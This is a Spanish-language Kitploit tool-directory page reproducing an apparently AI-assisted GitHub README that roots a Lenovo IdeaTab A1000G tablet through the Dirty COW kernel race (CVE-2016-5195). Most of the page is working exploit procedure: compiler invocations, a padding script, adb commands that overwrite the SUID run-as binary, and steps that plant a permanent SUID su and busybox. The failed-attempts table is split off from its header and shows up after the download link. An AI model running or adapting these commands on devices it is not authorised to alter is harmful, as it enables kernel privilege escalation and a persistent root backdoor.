Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195 — [Asistido por IA] Método de root para Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1) mediante CVE-2016-5195 (Dirty COW) | Kitploit
Herramientas/GitHubGitHub/voidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195
Seguridad AndroidEscalada de PrivilegiosMecanismos de PersistenciaExplotaciónPost-ExplotaciónSeguridad MóvilExplotación de Binarios
GitHubvoidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

[Asistido por IA] Método de root para Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1) mediante CVE-2016-5195 (Dirty COW)

Ver Repositorio
7hace 2 mesesAún no revisado

Lenovo IdeaTab A1000G — Root

Nota: Esta documentación y el código del exploit se generaron con asistencia de IA (Kiro). Verifica antes de usar: la IA puede cometer errores, y de hecho los comete.

Dispositivo

CampoValor
ModeloLenovo IdeaTab A1000G
SoCMediaTek MT8317 (= MT6517)
CPUDoble núcleo Cortex-A9 @ 1.2GHz
KernelLinux 3.4.0
BuildA1000G_A412_01_09_130907_2G
Android4.1.2 (Jelly Bean)

Requisitos previos

  • Depuración USB habilitada
  • ADB conectado
  • Android NDK r28+ en ~/Android/Sdk/ndk/
  • Binario estático busybox-armv7l (busybox.net/downloads/binaries/1.21.1/)

Exploit — CVE-2016-5195 (Dirty COW)

Condición de carrera en la ruta mmap/write del kernel. Afecta a los kernels 2.6.22–4.8.3. Objetivo: /system/bin/run-as (SUID root, 9448 bytes).

1. Compilar

root@kitploit:~
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. Rellenar su hasta el tamaño objetivo (9448 bytes)

root@kitploit:~
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. Ejecutar

root@kitploit:~
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. Instalar su de forma permanente

root@kitploit:~
# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. Instalar busybox (opcional)

root@kitploit:~
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

Uso

root@kitploit:~
adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd NO funciona: ADB descarta el setuid. Primero hay que entrar en un shell interactivo.

Post-root

  • /system/bin/run-as → sobrescrito (la funcionalidad original de run-as está rota)
  • /system/bin/su → binario su SUID permanente
  • /system/bin/busybox → busybox 1.21.1

Intentos fallidos

MétodoMotivo
CVE-2013-1763 sock_diag

Archivos

root@kitploit:~
.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

Los binarios precompilados no están incluidos: compila desde el código fuente siguiendo los pasos anteriores.

Referencias

  • Fuente de CVE-2016-5195: Arinerron/CVE-2016-5195
  • ROM de firmware (compilación diferente, usada solo para la extracción de símbolos del kernel): Lenovo_A1000G_MT6577_01_24_130329 — los símbolos de esta ROM funcionan en la compilación A412_01_09_130907 ya que ambas comparten el mismo diseño de memoria virtual del kernel
Descargar herramienta
No compilado en el kernel
CVE-2013-6282 get_user/put_userldrt/strt bloqueado en Cortex-A9
CVE-2014-3153 TowelrootPánico en el kernel: el desplazamiento de iovstack de sendmmsg es incorrecto para MTK
Framaroot AdbActivityNullPointerException, incompatible
Sobrescritura de /proc/self/memDirecciones del kernel inaccesibles desde el espacio de usuario